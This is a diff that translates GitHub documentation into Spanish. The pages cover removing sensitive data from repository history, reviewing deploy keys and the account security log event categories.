-3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer):
+3. Después de que haya transcurrido un tiempo y estés seguro de que la herramienta BFG / `git filter-repo` no tuvo efectos secundarios inesperados, puedes forzar a todos los objetos de tu repositorio local a desreferenciarse y recolectar la basura con los siguientes comandos (usando Git 1.8.5 o posterior):
   ```shell
   $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin
   $ git reflog expire --expire=now --all
@@ -168,21 +169,21 @@ After using either the BFG tool or `git filter-repo` to remove the sensitive dat
   ```
   {% note %}
 
-   **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}.
+   **Nota:** También puedes lograrlo subiendo tu historial filtrado a un repositorio nuevo o vacío para después hacer un nuevo clon desde {% data variables.product.product_name %}.
 
   {% endnote %}
 
-## Avoiding accidental commits in the future
+## Evitar confirmaciones accidentales en el futuro
 
-There are a few simple tricks to avoid committing things you don't want committed:
+Existen algunos trucos sencillos para evitar confirmar cosas que no quieres confirmar:
 
-- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit.
-- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead.
-- Use `git add --interactive` to individually review and stage changes within each file.
-- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag.
+- Utiliza un programa visual como [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) o [gitk](https://git-scm.com/docs/gitk) para confirmar los cambios. Los programas visuales suelen hacer que sea más sencillo ver exactamente qué archivos se agregarán, eliminarán y modificarán con cada confirmación.
+- Evita los comandos para atrapar todo `git add .` y `git commit -a` de la línea de comando —en su lugar, utiliza `git add filename` y `git rm filename` para ordenar por etapas los archivos.
+- Utiliza `git add --interactive` para revisar por separado y preparar los cambios de cada archivo.
+- Utiliza `git diff --cached` para revisar los cambios que hayas preparado para la confirmación. Esta es la diferencia exacta que `git commit` generará siempre que no utilices la marca `-a`.
 
-## Further reading
+## Leer más
 
-- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
-- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
-- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)"
+- [página man de `git filter-repo`](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
+- [Pro Git: Herramientas de Git - Rescribir historial](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
+- "[Acerca del escaneo de secretos](/code-security/secret-security/about-secret-scanning)"
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
index b3629bba82..2fb4b73679 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your deploy keys
-intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid.
+title: Revisar tus llaves de implementación
+intro: Debes revisar tus llaves de implementación para garantizar que no haya ninguna llave sin autorización (o posiblemente comprometida). También puedes aprobar llaves de implementación existentes que sean válidas.
 redirect_from:
   - /articles/reviewing-your-deploy-keys
   - /github/authenticating-to-github/reviewing-your-deploy-keys
@@ -13,16 +13,15 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Deploy keys
+shortTitle: Llaves de implementación
 ---
+
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. In the left sidebar, click **Deploy keys**.
-![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
-4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**.
-	![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png)
+3. En la barra lateral izquierda, haz clic en **Deploy keys** (Llaves de implementación). ![Parámetro de llaves de implementación](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
+4. En la página de Llaves de implementación, anota las llaves de implementación asociadas a tu cuenta. Para las que no reconozcas o que estén desactualizadas, haz clic en **Delete** (Eliminar). Si hay llaves de implementación válidas que quieres conservar, haz clic en **Approve** (Aprobar). ![Lista de llaves de implementación](/assets/images/help/settings/settings-deploy-key-review.png)
 
-For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)."
+Para obtener más información, consulta la sección "[Administrar las llaves de despliegue](/guides/managing-deploy-keys)".
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
+## Leer más
+- [Configurar notificaciones](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
index df5bf71441..5f87db43f8 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your security log
-intro: You can review the security log for your user account to better understand actions you've performed and actions others have performed that involve you.
+title: Revisar tu registro de seguridad
+intro: 'Puedes revisar el registro de seguridad de tu cuenta de usuario para entender mejor las acciones que has realizado y las que otros han realizado, las cuales te involucran.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/reviewing-your-security-log
@@ -14,254 +14,248 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Security log
+shortTitle: Registro de seguridad
 ---
-## Accessing your security log
 
-The security log lists all actions performed within the last 90 days.
+## Acceder a tu registro de seguridad
+
+La bitácora de seguridad lista todas las acciones que se llevaron a cabo en los últimos 90 días.
 
 {% data reusables.user_settings.access_settings %}
 {% ifversion fpt or ghae or ghes or ghec %}
-2. In the user settings sidebar, click **Security log**.
-  ![Security log tab](/assets/images/help/settings/audit-log-tab.png)
+2. En la barra lateral de la configuración de usuario, da clic en **Registro de Seguridad**. ![Pestaña de registro de seguridad](/assets/images/help/settings/audit-log-tab.png)
 {% else %}
 {% data reusables.user_settings.security %}
-3. Under "Security history," your log is displayed.
-  ![Security log](/assets/images/help/settings/user_security_log.png)
-4. Click on an entry to see more information about the event.
-  ![Security log](/assets/images/help/settings/user_security_history_action.png)
+3. En "Security history" (Historial de seguridad) se muestra tu registro. ![Registro de seguridad](/assets/images/help/settings/user_security_log.png)
+4. Haz clic en la entrada para ver más información acerca del evento. ![Registro de seguridad](/assets/images/help/settings/user_security_history_action.png)
 {% endif %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
-## Searching your security log
+## Buscar tu registro de seguridad
 
 {% data reusables.audit_log.audit-log-search %}
 
-### Search based on the action performed
+### Búsqueda basada en la acción realizada
 {% else %}
-## Understanding events in your security log
+## Entender los eventos en tu registro de seguridad
 {% endif %}
 
-The events listed in your security log are triggered by your actions. Actions are grouped into the following categories:
+Tus acciones activan los eventos que se listan en tu bitácora de seguridad. Las acciones se agrupan en las siguientes categorías:
 
-| Category name | Description
-|------------------|-------------------{% ifversion fpt or ghec %}
-| [`billing`](#billing-category-actions) | Contains all activities related to your billing information.
-| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)."
-| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
-| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}
-| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
-| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}
-| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture.
-| [`project`](#project-category-actions) | Contains all activities related to project boards.
-| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account).
-| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
-| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
-| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %}
-| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
-| [`user`](#user-category-actions) | Contains all activities related to your account.
+| Nombre de la categoría                                                                 | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |{% ifversion fpt or ghec %}
+| [`facturación`](#billing-category-actions)                                             | Contiene todas las actividades relacionadas con tu información de facturación.                                                                                                                                                                                                                                                                                                                                                             |
+| [`codespaces`](#codespaces-category-actions)                                           | Contiene todas las actividades relacionadas con los {% data variables.product.prodname_codespaces %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)".                                                                                                                                                        |
+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contiene todas las actividades relacionadas con la firma del Acuerdo del programador de {% data variables.product.prodname_marketplace %}.                                                                                                                                                                                                                                                                                                 |
+| [`marketplace_listing`](#marketplace_listing-category-actions)                         | Contiene todas las actividades relacionadas con el listado de aplicaciones en {% data variables.product.prodname_marketplace %}.{% endif %}
+| [`oauth_access`](#oauth_access-category-actions)                                       | Contiene todas las actividades relacionadas con las [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) con las que te hayas conectado.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions)                                   | Contiene todas las actividades relacionadas con el pago de tu suscripción de {% data variables.product.prodname_dotcom %}.{% endif %}
+| [`profile_picture`](#profile_picture-category-actions)                                 | Contiene todas las actividades relacionadas con tu foto de perfil.                                                                                                                                                                                                                                                                                                                                                                         |
+| [`project`](#project-category-actions)                                                 | Contiene todas las actividades relacionadas con los tableros de proyecto.                                                                                                                                                                                                                                                                                                                                                                  |
+| [`public_key`](#public_key-category-actions)                                           | Contiene todas las actividades relacionadas con [tus claves SSH públicas](/articles/adding-a-new-ssh-key-to-your-github-account).                                                                                                                                                                                                                                                                                                          |
+| [`repo`](#repo-category-actions)                                                       | Contiene todas las actividades relacionadas con los repositorios que te pertenecen.{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions)                                               | Contiene todos los eventos relacionados con {% data variables.product.prodname_sponsors %} y los botones de patrocinio (consulta las secciones "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" y "[Mostrar el botón de patrocinio en tu repositorio](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
+| [`equipo`](#team-category-actions)                                                     | Contiene todas las actividades relacionadas con los equipos de los cuales formas parte.{% endif %}{% ifversion not ghae %}
+| [`two_factor_authentication`](#two_factor_authentication-category-actions)             | Contiene todas las actividades relacionadas con la [autenticación bifactorial](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
+| [`usuario`](#user-category-actions)                                                    | Contiene todas las actividades relacionadas con tu cuenta.                                                                                                                                                                                                                                                                                                                                                                                 |
 
 {% ifversion fpt or ghec %}
 
-## Exporting your security log
+## Exportar tu registro de seguridad
 
 {% data reusables.audit_log.export-log %}
 {% data reusables.audit_log.exported-log-keys-and-values %}
 
 {% endif %}
 
-## Security log actions
+## Acciones de la bitácora de seguridad
 
-An overview of some of the most common actions that are recorded as events in the security log.
+Un resumen de algunas de las acciones más frecuentes que se registran como eventos en la bitácora de seguridad.
 
 {% ifversion fpt or ghec %}
 
-### `billing` category actions
+### acciones de la categoría `billing`
 
-| Action | Description
-|------------------|-------------------
-| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}.
-| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address).
+| Acción                                              | Descripción                                                                                                                                    |
+| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| `change_billing_type (cambiar tipo de facturación)` | Se activa cuando [cambias la manera de pagar](/articles/adding-or-editing-a-payment-method) para {% data variables.product.prodname_dotcom %}. |
+| `change_email (cambiar correo electrónico)`         | Se activa cuando [cambias tu dirección de correo electrónico](/articles/changing-your-primary-email-address).                                  |
 
-### `codespaces` category actions
+### acciones de la categoría `codespaces`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
-| `resume` | Triggered when you resume a suspended codespace.
-| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
-| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
-| `trusted_repositories_access_update` | Triggered when you change your user account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| Acción                               | Descripción                                                                                                                                                                                                                      |
+| ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create (crear)`                     | Se activa cuando [creas un codespace](/github/developing-online-with-codespaces/creating-a-codespace).                                                                                                                           |
+| `resume`                             | Se activa cuando reanudas un codespace suspendido.                                                                                                                                                                               |
+| `delete`                             | Se activa cuando [borras un codespace](/github/developing-online-with-codespaces/deleting-a-codespace).                                                                                                                          |
+| `manage_access_and_security`         | Se activa cuando actualizas [los repositorios a los que puede acceder un codespace](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).                                                      |
+| `trusted_repositories_access_update` | Se activa cuando cambias la [configuración de acceso y seguridad para los {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces) de tu cuenta. |
 
-### `marketplace_agreement_signature` category actions
+### acciones de la categoría `marketplace_agreement_signature`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| Acción           | Descripción                                                                                           |
+| ---------------- | ----------------------------------------------------------------------------------------------------- |
+| `create (crear)` | Se activa cuando firmas el {% data variables.product.prodname_marketplace %} Acuerdo del programador. |
 
-### `marketplace_listing` category actions
+### acciones de la categoría `marketplace_listing`
 
-| Action | Description
-|------------------|-------------------
-| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
-| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
-| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
-| `redraft` | Triggered when your listing is sent back to draft state.
-| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+| Acción                        | Descripción                                                                                                  |
+| ----------------------------- | ------------------------------------------------------------------------------------------------------------ |
+| `aprobar`                     | Se activa cuando se aprueba tu lista para ser incluida en {% data variables.product.prodname_marketplace %}. |
+| `create (crear)`              | Se activa cuando creas una lista para tu app en {% data variables.product.prodname_marketplace %}.           |
+| `delist (quitar de la lista)` | Se activa cuando se elimina tu lista de {% data variables.product.prodname_marketplace %}.                   |
+| `redraft`                     | Se activa cuando tu lista se vuelve a colocar en estado de borrador.                                         |
+| `reject (rechazar)`           | Se activa cuando no se acepta la inclusión de tu lista en {% data variables.product.prodname_marketplace %}. |
 
 {% endif %}
 
-### `oauth_authorization` category actions
+### Acciones de la categoría `oauth_authorization`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
-| `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
+| Acción               | Descripción                                                                                                                                                                                                                                                                                                                                                                                            |
+| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `create (crear)`     | Se activa cuando [obtienes acceso a una {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).                                                                                                                                                                                                              |
+| `destroy (destruir)` | Se activa cuando [revocas el acceso de una {% data variables.product.prodname_oauth_app %} a tu cuenta](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} y cuando[las autorizaciones se revocan o vencen](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
 
 {% ifversion fpt or ghec %}
 
-### `payment_method` category actions
+### acciones de la categoría `payment_method`
 
-| Action | Description
-|------------------|-------------------
-| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed.
-| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
-| `update` | Triggered when an existing payment method is updated.
+| Acción           | Descripción                                                                                                   |
+| ---------------- | ------------------------------------------------------------------------------------------------------------- |
+| `create (crear)` | Se activa cuando se agrega un método de pago nuevo, como una tarjeta de crédito nueva o una cuenta de PayPal. |
+| `actualización`  | Se activa cuando se actualiza un método de pago existente.                                                    |
 
 {% endif %}
 
-### `profile_picture` category actions
+### acciones de la categoría `profile_picture`
 
-| Action | Description
-|------------------|-------------------
-| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/).
+| Acción          | Descripción                                                                                            |
+| --------------- | ------------------------------------------------------------------------------------------------------ |
+| `actualización` | Se activa cuando [estableces o actualizas tu foto de perfil](/articles/setting-your-profile-picture/). |
 
-### `project` category actions
+### acciones de la categoría `project`
 
-| Action | Description
-|--------------------|---------------------
-| `access` | Triggered when a project board's visibility is changed.
-| `create` | Triggered when a project board is created.
-| `rename` | Triggered when a project board is renamed.
-| `update` | Triggered when a project board is updated.
-| `delete` | Triggered when a project board is deleted.
-| `link`   | Triggered when a repository is linked to a project board.
-| `unlink` | Triggered when a repository is unlinked from a project board.
-| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed.
+| Acción                   | Descripción                                                                                                                  |
+| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------- |
+| `access (acceder)`       | Se activa cuando se modifica la visibilidad de un tablero de proyecto.                                                       |
+| `create (crear)`         | Se activa cuando se crear un tablero de proyecto.                                                                            |
+| `rename (renombrar)`     | Se activa cuando se renombra un tablero de proyecto.                                                                         |
+| `actualización`          | Se activa cuando se actualiza un tablero de proyecto.                                                                        |
+| `delete`                 | Se activa cuando se elimina un tablero de proyecto.                                                                          |
+| `link`                   | Se activa cuando un repositorio se vincula a un tablero de proyecto.                                                         |
+| `unlink (desvincular)`   | Se activa cuando se anula el enlace a un repositorio desde un tablero de proyecto.                                           |
+| `update_user_permission` | Se activa cuando se agrega o elimina un colaborador externo a un tablero de proyecto o cuando se cambia su nivel de permiso. |
 
-### `public_key` category actions
+### acciones de la categoría `public_key`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account).
-| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).
+| Acción           | Descripción                                                                                                                                                                                                                                               |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create (crear)` | Se activa cuando [agregas una llave SSH pública a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). |
+| `delete`         | Se activa cuando [eliminas una llave SSH pública a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).                    |
 
-### `repo` category actions
+### acciones de la categoría `repo`
 
-| Action | Description
-|------------------|-------------------
-| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa).
-| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository.
-| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
-| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
-| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
-| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
-| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).
-| `destroy` |  Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
-| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
-| `enable` | Triggered when a repository is re-enabled.{% endif %}
-| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
-| `remove_topic` | Triggered when a repository owner removes a topic from a repository.
-| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
-| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
-| `transfer_start` | Triggered when a repository transfer is about to occur.
-| `unarchived` | Triggered when a repository owner unarchives a repository.
+| Acción                                                                                  | Descripción                                                                                                                                                                                                                                                                                                                                    |
+| --------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `access (acceder)`                                                                      | Se activa cuando un repositorio que te pertenece se [cambia de "privado" a "público"](/articles/making-a-private-repository-public) (o viceversa).                                                                                                                                                                                             |
+| `add_member (agregar miembro)`                                                          | Se activa cuando se invita a un {% data variables.product.product_name %} usuario {% ifversion fpt or ghec %}[a tener acceso de colaboración](/articles/inviting-collaborators-to-a-personal-repository){% else %}[otorgado el acceso de colaboración](/articles/inviting-collaborators-to-a-personal-repository){% endif %} a un repositorio. |
+| `add_topic (agregar tema)`                                                              | Se activa cuando un propietario del repositorio [agrega un tema](/articles/classifying-your-repository-with-topics) a un repositorio.                                                                                                                                                                                                          |
+| `archived (archivado)`                                                                  | Se activa cuando un propietario del repositorio [archiva un repositorio](/articles/about-archiving-repositories).{% ifversion ghes %}
+| `config.disable_anonymous_git_access (configurar inhabilitar el acceso de git anónimo)` | Se activa cuando [se inhabilita el acceso de lectura de Git anónimo](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) en un repositorio público.                                                                                                                                            |
+| `config.enable_anonymous_git_access (configurar habilitar acceso de git anónimo)`       | Se activa cuando [se habilita el acceso de lectura de Git anónimo](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) en un repositorio público.                                                                                                                                              |
+| `config.lock_anonymous_git_access (configurar bloquear acceso de git anónimo)`          | Se activa cuando se bloquea el parámetro de acceso de lectura de Git anónimo [de un repositorio](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).                                                                                                                      |
+| `config.unlock_anonymous_git_access (configurar desbloquear acceso de git anónimo)`     | Se activa cuando se desbloquea el parámetro de acceso de lectura de Git anónimo [de un repositorio](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
+| `create (crear)`                                                                        | Se activa cuando [se crea un repositorio nuevo](/articles/creating-a-new-repository).                                                                                                                                                                                                                                                          |
+| `destroy (destruir)`                                                                    | Se activa cuando [se elimina un repositorio](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
+| `inhabilitar`                                                                           | Se activa cuando un repositorio se inhabilita (por ejemplo, por [fondos insuficientes](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
+| `habilitar`                                                                             | Se activa cuando se vuelve a habilitar un repositorio.{% endif %}
+| `remove_member (eliminar miembro)`                                                      | Se activa cuando se elimina {% data variables.product.product_name %} un usuario [de un repositorio como colaborador](/articles/removing-a-collaborator-from-a-personal-repository).                                                                                                                                                           |
+| `remove_topic (eliminar tema)`                                                          | Se activa cuando un propietario del repositorio elimina un tema de un repositorio.                                                                                                                                                                                                                                                             |
+| `rename (renombrar)`                                                                    | Se activa cuando [se renombra un repositorio](/articles/renaming-a-repository).                                                                                                                                                                                                                                                                |
+| `transferencia`                                                                         | Se activa cuando [se transfiere un repositorio](/articles/how-to-transfer-a-repository).                                                                                                                                                                                                                                                       |
+| `transfer_start (comienzo de transferencia)`                                            | Se activa cuando está por ocurrir una transferencia de repositorio.                                                                                                                                                                                                                                                                            |
+| `unarchived (desarchivado)`                                                             | Se activa cuando un administrador del repositorio desarchiva un repositorio.                                                                                                                                                                                                                                                                   |
 
 {% ifversion fpt or ghec %}
-### `sponsors` category actions
+### acciones de la categoría `sponsors`
 
-| Action | Description
-|------------------|-------------------
-| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
-| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
-| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
-| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
-| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
-| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
